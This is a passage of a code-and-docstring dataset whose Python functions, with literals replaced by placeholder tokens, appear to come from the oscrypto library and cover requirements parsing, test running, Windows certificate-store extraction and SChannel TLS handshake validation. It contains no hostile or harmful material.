parts[<NUM_LIT:1>].strip()<EOL>packages.append({'<STR_LIT:type>': '<STR_LIT>', '<STR_LIT>': package, '<STR_LIT>': ver})<EOL>continue<EOL><DEDENT>if re.search(r'<STR_LIT>', package):<EOL><INDENT>raise Exception('<STR_LIT>' % package)<EOL><DEDENT>packages.append({'<STR_LIT:type>': '<STR_LIT>', '<STR_LIT>': package})<EOL><DEDENT>return packages<EOL>", "docstring": "Does basic parsing of pip requirements files, to allow for\nusing something other than Python to do actual TLS requests\n\n:param path:\n    A path to a requirements file\n\n:return:\n    A list of dict objects containing the keys:\n     - 'type' ('any', 'url', '==', '>=')\n     - 'pkg'\n     - 'ver' (if 'type' == '==' or 'type' == '>=')", "id": "f9471:m10"}
{"signature": "def _execute(params, cwd):", "body": "proc = subprocess.Popen(<EOL>params,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>cwd=cwd<EOL>)<EOL>stdout, stderr = proc.communicate()<EOL>code = proc.wait()<EOL>if code != <NUM_LIT:0>:<EOL><INDENT>e = OSError('<STR_LIT>' % (params, code, stderr))<EOL>e.stdout = stdout<EOL>e.stderr = stderr<EOL>raise e<EOL><DEDENT>return (stdout, stderr)<EOL>", "docstring": "Executes a subprocess\n\n:param params:\n    A list of the executable and arguments to pass to it\n\n:param cwd:\n    The working directory to execute the command in\n\n:return:\n    A 2-element tuple of (stdout, stderr)", "id": "f9471:m11"}
{"signature": "def run(matcher=None, repeat=<NUM_LIT:1>):", "body": "loader = unittest.TestLoader()<EOL>test_list = []<EOL>for test_class in test_classes():<EOL><INDENT>if matcher:<EOL><INDENT>names = loader.getTestCaseNames(test_class)<EOL>for name in names:<EOL><INDENT>if re.search(matcher, name):<EOL><INDENT>test_list.append(test_class(name))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>test_list.append(loader.loadTestsFromTestCase(test_class))<EOL><DEDENT><DEDENT>stream = sys.stdout<EOL>verbosity = <NUM_LIT:1><EOL>if matcher and repeat == <NUM_LIT:1>:<EOL><INDENT>verbosity = <NUM_LIT:2><EOL><DEDENT>elif repeat > <NUM_LIT:1>:<EOL><INDENT>stream = StringIO()<EOL><DEDENT>for _ in range(<NUM_LIT:0>, repeat):<EOL><INDENT>suite = unittest.TestSuite()<EOL>for test in test_list:<EOL><INDENT>suite.addTest(test)<EOL><DEDENT>result = unittest.TextTestRunner(stream=stream, verbosity=verbosity).run(suite)<EOL>if len(result.errors) > <NUM_LIT:0> or len(result.failures) > <NUM_LIT:0>:<EOL><INDENT>if repeat > <NUM_LIT:1>:<EOL><INDENT>print(stream.getvalue())<EOL><DEDENT>return False<EOL><DEDENT>if repeat > <NUM_LIT:1>:<EOL><INDENT>stream.truncate(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Runs the tests\n\n:param matcher:\n    A unicode string containing a regular expression to use to filter test\n    names by. A value of None will cause no filtering.\n\n:param repeat:\n    An integer - the number of times to run the tests\n\n:return:\n    A bool - if the tests succeeded", "id": "f9472:m0"}
{"signature": "def handle_error(result):", "body": "if result:<EOL><INDENT>return<EOL><DEDENT>_, error_string = get_error()<EOL>if not isinstance(error_string, str_cls):<EOL><INDENT>error_string = _try_decode(error_string)<EOL><DEDENT>raise OSError(error_string)<EOL>", "docstring": "Extracts the last Windows error message into a python unicode string\n\n:param result:\n    A function result, 0 or None indicates failure\n\n:return:\n    A unicode string error message", "id": "f9474:m0"}
{"signature": "def _try_decode(byte_string):", "body": "try:<EOL><INDENT>return str_cls(byte_string, _encoding)<EOL><DEDENT>except (UnicodeDecodeError):<EOL><INDENT>for encoding in _fallback_encodings:<EOL><INDENT>try:<EOL><INDENT>return str_cls(byte_string, encoding, errors='<STR_LIT:strict>')<EOL><DEDENT>except (UnicodeDecodeError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return str_cls(byte_string, errors='<STR_LIT:replace>')<EOL>", "docstring": "Tries decoding a byte string from the OS into a unicode string\n\n:param byte_string:\n    A byte string\n\n:return:\n    A unicode string", "id": "f9476:m0"}
{"signature": "def handle_error(error_num):", "body": "if error_num == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>messages = {<EOL>BcryptConst.STATUS_NOT_FOUND: '<STR_LIT>',<EOL>BcryptConst.STATUS_INVALID_PARAMETER: '<STR_LIT>',<EOL>BcryptConst.STATUS_NO_MEMORY: (<EOL>'<STR_LIT>'<EOL>),<EOL>BcryptConst.STATUS_INVALID_HANDLE: '<STR_LIT>',<EOL>BcryptConst.STATUS_INVALID_SIGNATURE: '<STR_LIT>',<EOL>BcryptConst.STATUS_NOT_SUPPORTED: '<STR_LIT>',<EOL>BcryptConst.STATUS_BUFFER_TOO_SMALL: '<STR_LIT>',<EOL>BcryptConst.STATUS_INVALID_BUFFER_SIZE: '<STR_LIT>',<EOL>}<EOL>output = '<STR_LIT>' % error_num<EOL>if error_num is not None and error_num in messages:<EOL><INDENT>output += '<STR_LIT>' + messages[error_num]<EOL><DEDENT>raise OSError(output)<EOL>", "docstring": "Extracts the last Windows error message into a python unicode string\n\n:param error_num:\n    The number to get the error string for\n\n:return:\n    A unicode string error message", "id": "f9478:m2"}
{"signature": "def extract_from_system(cert_callback=None, callback_only_on_failure=False):", "body": "certificates = {}<EOL>processed = {}<EOL>now = datetime.datetime.utcnow()<EOL>for store in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>store_handle = crypt32.CertOpenSystemStoreW(null(), store)<EOL>handle_error(store_handle)<EOL>context_pointer = null()<EOL>while True:<EOL><INDENT>context_pointer = crypt32.CertEnumCertificatesInStore(store_handle, context_pointer)<EOL>if is_null(context_pointer):<EOL><INDENT>break<EOL><DEDENT>context = unwrap(context_pointer)<EOL>trust_all = False<EOL>data = None<EOL>digest = None<EOL>if context.dwCertEncodingType != Crypt32Const.X509_ASN_ENCODING:<EOL><INDENT>continue<EOL><DEDENT>data = bytes_from_buffer(context.pbCertEncoded, int(context.cbCertEncoded))<EOL>digest = hashlib.sha1(data).digest()<EOL>if digest in processed:<EOL><INDENT>continue<EOL><DEDENT>processed[digest] = True<EOL>cert_info = unwrap(context.pCertInfo)<EOL>not_before_seconds = _convert_filetime_to_timestamp(cert_info.NotBefore)<EOL>try:<EOL><INDENT>not_before = datetime.datetime.fromtimestamp(not_before_seconds)<EOL>if not_before > now:<EOL><INDENT>if cert_callback:<EOL><INDENT>cert_callback(Certificate.load(data), '<STR_LIT>')<EOL><DEDENT>continue<EOL><DEDENT><DEDENT>except (ValueError, OSError):<EOL><INDENT>pass<EOL><DEDENT>not_after_seconds = _convert_filetime_to_timestamp(cert_info.NotAfter)<EOL>try:<EOL><INDENT>not_after = datetime.datetime.fromtimestamp(not_after_seconds)<EOL>if not_after < now:<EOL><INDENT>if cert_callback:<EOL><INDENT>cert_callback(Certificate.load(data), '<STR_LIT>')<EOL><DEDENT>continue<EOL><DEDENT><DEDENT>except (ValueError, OSError) as e:<EOL><INDENT>if not_after_seconds < <NUM_LIT:0>:<EOL><INDENT>message = e.args[<NUM_LIT:0>] + '<STR_LIT>' + str_cls(not_after_seconds)<EOL>e.args = (message,) + e.args[<NUM_LIT:1>:]<EOL>raise e<EOL><DEDENT><DEDENT>trust_oids = set()<EOL>reject_oids = set()<EOL>to_read = new(crypt32, '<STR_LIT>', <NUM_LIT:0>)<EOL>res = crypt32.CertGetEnhancedKeyUsage(<EOL>context_pointer,<EOL>Crypt32Const.CERT_FIND_PROP_ONLY_ENHKEY_USAGE_FLAG,<EOL>null(),<EOL>to_read<EOL>)<EOL>error_code, _ = get_error()<EOL>if not res and error_code != Crypt32Const.CRYPT_E_NOT_FOUND:<EOL><INDENT>handle_error(res)<EOL><DEDENT>if error_code == Crypt32Const.CRYPT_E_NOT_FOUND:<EOL><INDENT>trust_all = True<EOL><DEDENT>else:<EOL><INDENT>usage_buffer = buffer_from_bytes(deref(to_read))<EOL>res = crypt32.CertGetEnhancedKeyUsage(<EOL>context_pointer,<EOL>Crypt32Const.CERT_FIND_PROP_ONLY_ENHKEY_USAGE_FLAG,<EOL>cast(crypt32, '<STR_LIT>', usage_buffer),<EOL>to_read<EOL>)<EOL>handle_error(res)<EOL>key_usage_pointer = struct_from_buffer(crypt32, '<STR_LIT>', usage_buffer)<EOL>key_usage = unwrap(key_usage_pointer)<EOL>if key_usage.cUsageIdentifier == <NUM_LIT:0>:<EOL><INDENT>if cert_callback:<EOL><INDENT>cert_callback(Certificate.load(data), '<STR_LIT>')<EOL><DEDENT>continue<EOL><DEDENT>oids = array_from_pointer(<EOL>crypt32,<EOL>'<STR_LIT>',<EOL>key_usage.rgpszUsageIdentifier,<EOL>key_usage.cUsageIdentifier<EOL>)<EOL>for oid in oids:<EOL><INDENT>trust_oids.add(oid.decode('<STR_LIT:ascii>'))<EOL><DEDENT><DEDENT>cert = None<EOL>if not trust_all:<EOL><INDENT>cert = Certificate.load(data)<EOL>if cert.extended_key_usage_value:<EOL><INDENT>for cert_oid in cert.extended_key_usage_value:<EOL><INDENT>oid = cert_oid.dotted<EOL>if oid not in trust_oids:<EOL><INDENT>reject_oids.add(oid)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if cert_callback and not callback_only_on_failure:<EOL><INDENT>if cert is None:<EOL><INDENT>cert = Certificate.load(data)<EOL><DEDENT>cert_callback(cert, None)<EOL><DEDENT>certificates[digest] = (data, trust_oids, reject_oids)<EOL><DEDENT>result = crypt32.CertCloseStore(store_handle, <NUM_LIT:0>)<EOL>handle_error(result)<EOL>store_handle = None<EOL><DEDENT>return certificates.values()<EOL>", "docstring": "Extracts trusted CA certificates from the Windows certificate store\n\n:param cert_callback:\n    A callback that is called once for each certificate in the trust store.\n    It should accept two parameters: an asn1crypto.x509.Certificate object,\n    and a reason. The reason will be None if the certificate is being\n    exported, otherwise it will be a unicode string of the reason it won't.\n\n:param callback_only_on_failure:\n    A boolean - if the callback should only be called when a certificate is\n    not exported.\n\n:raises:\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A list of 3-element tuples:\n     - 0: a byte string of a DER-encoded certificate\n     - 1: a set of unicode strings that are OIDs of purposes to trust the\n          certificate for\n     - 2: a set of unicode strings that are OIDs of purposes to reject the\n          certificate for", "id": "f9479:m1"}
{"signature": "def _convert_filetime_to_timestamp(filetime):", "body": "hundreds_nano_seconds = struct.unpack(<EOL>b'<STR_LIT>',<EOL>struct.pack(<EOL>b'<STR_LIT>',<EOL>filetime.dwHighDateTime,<EOL>filetime.dwLowDateTime<EOL>)<EOL>)[<NUM_LIT:0>]<EOL>seconds_since_1601 = hundreds_nano_seconds / <NUM_LIT><EOL>return seconds_since_1601 - <NUM_LIT><EOL>", "docstring": "Windows returns times as 64-bit unsigned longs that are the number\nof hundreds of nanoseconds since Jan 1 1601. This converts it to\na datetime object.\n\n:param filetime:\n    A FILETIME struct object\n\n:return:\n    An integer unix timestamp", "id": "f9479:m2"}
{"signature": "def __init__(self, protocol=None, manual_validation=False, extra_trust_roots=None):", "body": "if not isinstance(manual_validation, bool):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(manual_validation)<EOL>))<EOL><DEDENT>self._manual_validation = manual_validation<EOL>if protocol is None:<EOL><INDENT>protocol = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>if isinstance(protocol, str_cls):<EOL><INDENT>protocol = set([protocol])<EOL><DEDENT>elif not isinstance(protocol, set):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(protocol)<EOL>))<EOL><DEDENT>unsupported_protocols = protocol - set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if unsupported_protocols:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(unsupported_protocols)<EOL>))<EOL><DEDENT>self._protocols = protocol<EOL>self._extra_trust_roots = []<EOL>if extra_trust_roots:<EOL><INDENT>for extra_trust_root in extra_trust_roots:<EOL><INDENT>if isinstance(extra_trust_root, Certificate):<EOL><INDENT>extra_trust_root = extra_trust_root.asn1<EOL><DEDENT>elif isinstance(extra_trust_root, byte_cls):<EOL><INDENT>extra_trust_root = parse_certificate(extra_trust_root)<EOL><DEDENT>elif isinstance(extra_trust_root, str_cls):<EOL><INDENT>with open(extra_trust_root, '<STR_LIT:rb>') as f:<EOL><INDENT>extra_trust_root = parse_certificate(f.read())<EOL><DEDENT><DEDENT>elif not isinstance(extra_trust_root, x509.Certificate):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(extra_trust_root)<EOL>))<EOL><DEDENT>self._extra_trust_roots.append(extra_trust_root)<EOL><DEDENT><DEDENT>self._obtain_credentials()<EOL>", "docstring": ":param protocol:\n    A unicode string or set of unicode strings representing allowable\n    protocols to negotiate with the server:\n\n     - \"TLSv1.2\"\n     - \"TLSv1.1\"\n     - \"TLSv1\"\n     - \"SSLv3\"\n\n    Default is: {\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"}\n\n:param manual_validation:\n    If certificate and certificate path validation should be skipped\n    and left to the developer to implement\n\n:param extra_trust_roots:\n    A list containing one or more certificates to be treated as trust\n    roots, in one of the following formats:\n     - A byte string of the DER encoded certificate\n     - A unicode string of the certificate filename\n     - An asn1crypto.x509.Certificate object\n     - An oscrypto.asymmetric.Certificate object\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9481:c2:m0"}
{"signature": "def _obtain_credentials(self):", "body": "protocol_values = {<EOL>'<STR_LIT>': Secur32Const.SP_PROT_SSL3_CLIENT,<EOL>'<STR_LIT>': Secur32Const.SP_PROT_TLS1_CLIENT,<EOL>'<STR_LIT>': Secur32Const.SP_PROT_TLS1_1_CLIENT,<EOL>'<STR_LIT>': Secur32Const.SP_PROT_TLS1_2_CLIENT,<EOL>}<EOL>protocol_bit_mask = <NUM_LIT:0><EOL>for key, value in protocol_values.items():<EOL><INDENT>if key in self._protocols:<EOL><INDENT>protocol_bit_mask |= value<EOL><DEDENT><DEDENT>algs = [<EOL>Secur32Const.CALG_AES_128,<EOL>Secur32Const.CALG_AES_256,<EOL>Secur32Const.CALG_3DES,<EOL>Secur32Const.CALG_SHA1,<EOL>Secur32Const.CALG_ECDHE,<EOL>Secur32Const.CALG_DH_EPHEM,<EOL>Secur32Const.CALG_RSA_KEYX,<EOL>Secur32Const.CALG_RSA_SIGN,<EOL>Secur32Const.CALG_ECDSA,<EOL>Secur32Const.CALG_DSS_SIGN,<EOL>]<EOL>if '<STR_LIT>' in self._protocols:<EOL><INDENT>algs.extend([<EOL>Secur32Const.CALG_SHA512,<EOL>Secur32Const.CALG_SHA384,<EOL>Secur32Const.CALG_SHA256,<EOL>])<EOL><DEDENT>alg_array = new(secur32, '<STR_LIT>' % len(algs))<EOL>for index, alg in enumerate(algs):<EOL><INDENT>alg_array[index] = alg<EOL><DEDENT>flags = Secur32Const.SCH_USE_STRONG_CRYPTO | Secur32Const.SCH_CRED_NO_DEFAULT_CREDS<EOL>if not self._manual_validation and not self._extra_trust_roots:<EOL><INDENT>flags |= Secur32Const.SCH_CRED_AUTO_CRED_VALIDATION<EOL><DEDENT>else:<EOL><INDENT>flags |= Secur32Const.SCH_CRED_MANUAL_CRED_VALIDATION<EOL><DEDENT>schannel_cred_pointer = struct(secur32, '<STR_LIT>')<EOL>schannel_cred = unwrap(schannel_cred_pointer)<EOL>schannel_cred.dwVersion = Secur32Const.SCHANNEL_CRED_VERSION<EOL>schannel_cred.cCreds = <NUM_LIT:0><EOL>schannel_cred.paCred = null()<EOL>schannel_cred.hRootStore = null()<EOL>schannel_cred.cMappers = <NUM_LIT:0><EOL>schannel_cred.aphMappers = null()<EOL>schannel_cred.cSupportedAlgs = len(alg_array)<EOL>schannel_cred.palgSupportedAlgs = alg_array<EOL>schannel_cred.grbitEnabledProtocols = protocol_bit_mask<EOL>schannel_cred.dwMinimumCipherStrength = <NUM_LIT:0><EOL>schannel_cred.dwMaximumCipherStrength = <NUM_LIT:0><EOL>schannel_cred.dwSessionLifespan = <NUM_LIT:0><EOL>schannel_cred.dwFlags = flags<EOL>schannel_cred.dwCredFormat = <NUM_LIT:0><EOL>cred_handle_pointer = new(secur32, '<STR_LIT>')<EOL>result = secur32.AcquireCredentialsHandleW(<EOL>null(),<EOL>Secur32Const.UNISP_NAME,<EOL>Secur32Const.SECPKG_CRED_OUTBOUND,<EOL>null(),<EOL>schannel_cred_pointer,<EOL>null(),<EOL>null(),<EOL>cred_handle_pointer,<EOL>null()<EOL>)<EOL>handle_error(result)<EOL>self._credentials_handle = cred_handle_pointer<EOL>", "docstring": "Obtains a credentials handle from secur32.dll for use with SChannel", "id": "f9481:c2:m1"}
{"signature": "@classmethod<EOL><INDENT>def wrap(cls, socket, hostname, session=None):<DEDENT>", "body": "if not isinstance(socket, socket_.socket):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(socket)<EOL>))<EOL><DEDENT>if not isinstance(hostname, str_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(hostname)<EOL>))<EOL><DEDENT>if session is not None and not isinstance(session, TLSSession):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(session)<EOL>))<EOL><DEDENT>new_socket = cls(None, None, session=session)<EOL>new_socket._socket = socket<EOL>new_socket._hostname = hostname<EOL>try:<EOL><INDENT>new_socket._handshake()<EOL><DEDENT>except (_TLSDowngradeError) as e:<EOL><INDENT>new_e = TLSVerificationError(e.message, e.certificate)<EOL>raise new_e<EOL><DEDENT>except (_TLSRetryError) as e:<EOL><INDENT>new_e = TLSError(e.message)<EOL>raise new_e<EOL><DEDENT>return new_socket<EOL>", "docstring": "Takes an existing socket and adds TLS\n\n:param socket:\n    A socket.socket object to wrap with TLS\n\n:param hostname:\n    A unicode string of the hostname or IP the socket is connected to\n\n:param session:\n    An existing TLSSession object to allow for session reuse, specific\n    protocol or manual certificate validation\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9481:c3:m0"}
{"signature": "def __init__(self, address, port, timeout=<NUM_LIT:10>, session=None):", "body": "self._received_bytes = b'<STR_LIT>'<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL>if address is None and port is None:<EOL><INDENT>self._socket = None<EOL><DEDENT>else:<EOL><INDENT>if not isinstance(address, str_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(address)<EOL>))<EOL><DEDENT>if not isinstance(port, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(port)<EOL>))<EOL><DEDENT>if timeout is not None and not isinstance(timeout, numbers.Number):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(timeout)<EOL>))<EOL><DEDENT>self._socket = socket_.create_connection((address, port), timeout)<EOL>self._socket.settimeout(timeout)<EOL><DEDENT>if session is None:<EOL><INDENT>session = TLSSession()<EOL><DEDENT>elif not isinstance(session, TLSSession):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(session)<EOL>))<EOL><DEDENT>self._session = session<EOL>if self._socket:<EOL><INDENT>self._hostname = address<EOL>try:<EOL><INDENT>self._handshake()<EOL><DEDENT>except (_TLSDowngradeError):<EOL><INDENT>self.close()<EOL>new_session = TLSSession(<EOL>session._protocols - set(['<STR_LIT>']),<EOL>session._manual_validation,<EOL>session._extra_trust_roots<EOL>)<EOL>session.__del__()<EOL>self._received_bytes = b'<STR_LIT>'<EOL>self._session = new_session<EOL>self._socket = socket_.create_connection((address, port), timeout)<EOL>self._socket.settimeout(timeout)<EOL>self._handshake()<EOL><DEDENT>except (_TLSRetryError):<EOL><INDENT>self._received_bytes = b'<STR_LIT>'<EOL>self._socket = socket_.create_connection((address, port), timeout)<EOL>self._socket.settimeout(timeout)<EOL>self._handshake()<EOL><DEDENT><DEDENT>", "docstring": ":param address:\n    A unicode string of the domain name or IP address to conenct to\n\n:param port:\n    An integer of the port number to connect to\n\n:param timeout:\n    An integer timeout to use for the socket\n\n:param session:\n    An oscrypto.tls.TLSSession object to allow for session reuse and\n    controlling the protocols and validation performed", "id": "f9481:c3:m1"}
{"signature": "def _create_buffers(self, number):", "body": "buffers = new(secur32, '<STR_LIT>' % number)<EOL>for index in range(<NUM_LIT:0>, number):<EOL><INDENT>buffers[index].cbBuffer = <NUM_LIT:0><EOL>buffers[index].BufferType = Secur32Const.SECBUFFER_EMPTY<EOL>buffers[index].pvBuffer = null()<EOL><DEDENT>sec_buffer_desc_pointer = struct(secur32, '<STR_LIT>')<EOL>sec_buffer_desc = unwrap(sec_buffer_desc_pointer)<EOL>sec_buffer_desc.ulVersion = Secur32Const.SECBUFFER_VERSION<EOL>sec_buffer_desc.cBuffers = number<EOL>sec_buffer_desc.pBuffers = buffers<EOL>return (sec_buffer_desc_pointer, buffers)<EOL>", "docstring": "Creates a SecBufferDesc struct and contained SecBuffer structs\n\n:param number:\n    The number of contains SecBuffer objects to create\n\n:return:\n    A tuple of (SecBufferDesc pointer, SecBuffer array)", "id": "f9481:c3:m2"}
{"signature": "def _extra_trust_root_validation(self):", "body": "store = None<EOL>cert_chain_context_pointer = None<EOL>try:<EOL><INDENT>store = crypt32.CertOpenStore(<EOL>Crypt32Const.CERT_STORE_PROV_MEMORY,<EOL>Crypt32Const.X509_ASN_ENCODING,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>null()<EOL>)<EOL>if is_null(store):<EOL><INDENT>handle_crypt32_error(<NUM_LIT:0>)<EOL><DEDENT>cert_hashes = set()<EOL>for cert in self._session._extra_trust_roots:<EOL><INDENT>cert_data = cert.dump()<EOL>result = crypt32.CertAddEncodedCertificateToStore(<EOL>store,<EOL>Crypt32Const.X509_ASN_ENCODING,<EOL>cert_data,<EOL>len(cert_data),<EOL>Crypt32Const.CERT_STORE_ADD_USE_EXISTING,<EOL>null()<EOL>)<EOL>if not result:<EOL><INDENT>handle_crypt32_error(<NUM_LIT:0>)<EOL><DEDENT>cert_hashes.add(cert.sha256)<EOL><DEDENT>cert_context_pointer_pointer = new(crypt32, '<STR_LIT>')<EOL>result = secur32.QueryContextAttributesW(<EOL>self._context_handle_pointer,<EOL>Secur32Const.SECPKG_ATTR_REMOTE_CERT_CONTEXT,<EOL>cert_context_pointer_pointer<EOL>)<EOL>handle_error(result)<EOL>cert_context_pointer = unwrap(cert_context_pointer_pointer)<EOL>cert_context_pointer = cast(crypt32, '<STR_LIT>', cert_context_pointer)<EOL>orig_now_pointer = new(kernel32, '<STR_LIT>')<EOL>kernel32.GetSystemTimeAsFileTime(orig_now_pointer)<EOL>now_pointer = cast(crypt32, '<STR_LIT>', orig_now_pointer)<EOL>usage_identifiers = new(crypt32, '<STR_LIT>')<EOL>usage_identifiers[<NUM_LIT:0>] = cast(crypt32, '<STR_LIT>', Crypt32Const.PKIX_KP_SERVER_AUTH)<EOL>usage_identifiers[<NUM_LIT:1>] = cast(crypt32, '<STR_LIT>', Crypt32Const.SERVER_GATED_CRYPTO)<EOL>usage_identifiers[<NUM_LIT:2>] = cast(crypt32, '<STR_LIT>', Crypt32Const.SGC_NETSCAPE)<EOL>cert_enhkey_usage_pointer = struct(crypt32, '<STR_LIT>')<EOL>cert_enhkey_usage = unwrap(cert_enhkey_usage_pointer)<EOL>cert_enhkey_usage.cUsageIdentifier = <NUM_LIT:3><EOL>cert_enhkey_usage.rgpszUsageIdentifier = cast(crypt32, '<STR_LIT>', usage_identifiers)<EOL>cert_usage_match_pointer = struct(crypt32, '<STR_LIT>')<EOL>cert_usage_match = unwrap(cert_usage_match_pointer)<EOL>cert_usage_match.dwType = Crypt32Const.USAGE_MATCH_TYPE_OR<EOL>cert_usage_match.Usage = cert_enhkey_usage<EOL>cert_chain_para_pointer = struct(crypt32, '<STR_LIT>')<EOL>cert_chain_para = unwrap(cert_chain_para_pointer)<EOL>cert_chain_para.RequestedUsage = cert_usage_match<EOL>cert_chain_para_size = sizeof(crypt32, cert_chain_para)<EOL>cert_chain_para.cbSize = cert_chain_para_size<EOL>cert_chain_context_pointer_pointer = new(crypt32, '<STR_LIT>')<EOL>result = crypt32.CertGetCertificateChain(<EOL>null(),<EOL>cert_context_pointer,<EOL>now_pointer,<EOL>store,<EOL>cert_chain_para_pointer,<EOL>Crypt32Const.CERT_CHAIN_CACHE_END_CERT | Crypt32Const.CERT_CHAIN_REVOCATION_CHECK_CACHE_ONLY,<EOL>null(),<EOL>cert_chain_context_pointer_pointer<EOL>)<EOL>handle_crypt32_error(result)<EOL>cert_chain_policy_para_flags = Crypt32Const.CERT_CHAIN_POLICY_IGNORE_ALL_REV_UNKNOWN_FLAGS<EOL>cert_chain_context_pointer = unwrap(cert_chain_context_pointer_pointer)<EOL>cert_chain_context = unwrap(cert_chain_context_pointer)<EOL>num_chains = native(int, cert_chain_context.cChain)<EOL>if num_chains == <NUM_LIT:1>:<EOL><INDENT>first_simple_chain_pointer = unwrap(cert_chain_context.rgpChain)<EOL>first_simple_chain = unwrap(first_simple_chain_pointer)<EOL>num_elements = native(int, first_simple_chain.cElement)<EOL>last_element_pointer = first_simple_chain.rgpElement[num_elements - <NUM_LIT:1>]<EOL>last_element = unwrap(last_element_pointer)<EOL>last_element_cert = unwrap(last_element.pCertContext)<EOL>last_element_cert_data = bytes_from_buffer(<EOL>last_element_cert.pbCertEncoded,<EOL>native(int, last_element_cert.cbCertEncoded)<EOL>)<EOL>last_cert = x509.Certificate.load(last_element_cert_data)<EOL>if last_cert.sha256 in cert_hashes:<EOL><INDENT>cert_chain_policy_para_flags |= Crypt32Const.CERT_CHAIN_POLICY_ALLOW_UNKNOWN_CA_FLAG<EOL><DEDENT><DEDENT>ssl_extra_cert_chain_policy_para_pointer = struct(crypt32, '<STR_LIT>')<EOL>ssl_extra_cert_chain_policy_para = unwrap(ssl_extra_cert_chain_policy_para_pointer)<EOL>ssl_extra_cert_chain_policy_para.cbSize = sizeof(crypt32, ssl_extra_cert_chain_policy_para)<EOL>ssl_extra_cert_chain_policy_para.dwAuthType = Crypt32Const.AUTHTYPE_SERVER<EOL>ssl_extra_cert_chain_policy_para.fdwChecks = <NUM_LIT:0><EOL>ssl_extra_cert_chain_policy_para.pwszServerName = cast(<EOL>crypt32,<EOL>'<STR_LIT>',<EOL>buffer_from_unicode(self._hostname)<EOL>)<EOL>cert_chain_policy_para_pointer = struct(crypt32, '<STR_LIT>')<EOL>cert_chain_policy_para = unwrap(cert_chain_policy_para_pointer)<EOL>cert_chain_policy_para.cbSize = sizeof(crypt32, cert_chain_policy_para)<EOL>cert_chain_policy_para.dwFlags = cert_chain_policy_para_flags<EOL>cert_chain_policy_para.pvExtraPolicyPara = cast(crypt32, '<STR_LIT>', ssl_extra_cert_chain_policy_para_pointer)<EOL>cert_chain_policy_status_pointer = struct(crypt32, '<STR_LIT>')<EOL>cert_chain_policy_status = unwrap(cert_chain_policy_status_pointer)<EOL>cert_chain_policy_status.cbSize = sizeof(crypt32, cert_chain_policy_status)<EOL>result = crypt32.CertVerifyCertificateChainPolicy(<EOL>Crypt32Const.CERT_CHAIN_POLICY_SSL,<EOL>cert_chain_context_pointer,<EOL>cert_chain_policy_para_pointer,<EOL>cert_chain_policy_status_pointer<EOL>)<EOL>handle_crypt32_error(result)<EOL>cert_context = unwrap(cert_context_pointer)<EOL>cert_data = bytes_from_buffer(cert_context.pbCertEncoded, native(int, cert_context.cbCertEncoded))<EOL>cert = x509.Certificate.load(cert_data)<EOL>error = cert_chain_policy_status.dwError<EOL>if error:<EOL><INDENT>if error == Crypt32Const.CERT_E_EXPIRED:<EOL><INDENT>raise_expired_not_yet_valid(cert)<EOL><DEDENT>if error == Crypt32Const.CERT_E_UNTRUSTEDROOT:<EOL><INDENT>oscrypto_cert = load_certificate(cert)<EOL>if oscrypto_cert.self_signed:<EOL><INDENT>raise_self_signed(cert)<EOL><DEDENT>else:<EOL><INDENT>raise_no_issuer(cert)<EOL><DEDENT><DEDENT>if error == Crypt32Const.CERT_E_CN_NO_MATCH:<EOL><INDENT>raise_hostname(cert, self._hostname)<EOL><DEDENT>if error == Crypt32Const.TRUST_E_CERT_SIGNATURE:<EOL><INDENT>raise_weak_signature(cert)<EOL><DEDENT>if error == Crypt32Const.CRYPT_E_REVOKED:<EOL><INDENT>raise_revoked(cert)<EOL><DEDENT>raise_verification(cert)<EOL><DEDENT>if cert.hash_algo in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise_weak_signature(cert)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if store:<EOL><INDENT>crypt32.CertCloseStore(store, <NUM_LIT:0>)<EOL><DEDENT>if cert_chain_context_pointer:<EOL><INDENT>crypt32.CertFreeCertificateChain(cert_chain_context_pointer)<EOL><DEDENT><DEDENT>", "docstring": "Manually invoked windows certificate chain builder and verification\nstep when there are extra trust roots to include in the search process", "id": "f9481:c3:m3"}
